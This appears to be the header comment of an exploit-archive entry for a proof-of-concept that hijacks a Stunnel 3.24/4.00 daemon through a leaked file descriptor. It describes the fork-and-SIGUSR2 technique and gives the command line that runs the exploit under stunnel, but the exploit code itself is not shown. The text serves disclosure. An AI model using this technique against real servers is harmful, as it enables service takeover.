Stunnel 3.24/4.00 - Daemon Hijacking

/* By Steve Grubb : The technique is simple.
 *
 * 1) Fork so that stunnel can't find you when it dies.
 * 2) Send stunnel a SIGUSR2. Unhandled signals generally
 * kill programs. Since you are a child of stunnel, the OS
 * will deliver the signal.
 * 3) Select on the leaked descriptor and start serving pages.
 *
 * At the end of this advisory is a proof-of-concept
 * program that you can run under Stunnel. It is assumed
 * that Stunnel is providing you shell-like access (Telnet
 * over SSL, for example), or that the program lauched via
 * Stunnel has some exploitable condition that allows you
 * to run arbitrary code.
 *
 * To run the POC code, you can execute it directly as the
 * local program (-l argument) for Stunnel :
 *
 * /usr/sbin/stunnel -s nobody -g nobody -D 7 -p
 * /etc/ssl/certs/stunnel.pem -o /tmp/stunnel.log -P
 * /tmp/stunnel.pid -d 2222 -l
 * /opt/stunnel-sploit/leak-sploit -- leak-sploit
 *
 * Then connect to stunnel like: lynx https://localhost:2222
 *
 * The first time, you will get a message saying
 * "Unexpected network read error" followed by "Document
 * can't be accessed". Then connect again. The second
 * time, you will see the "You're owned" message. Doing a
 * ps -ef shows that stunnel is long gone and replaced by
 * the example application...even though user & group were
 * nobody. Sure its a bit contrived, but illustrates the concept.
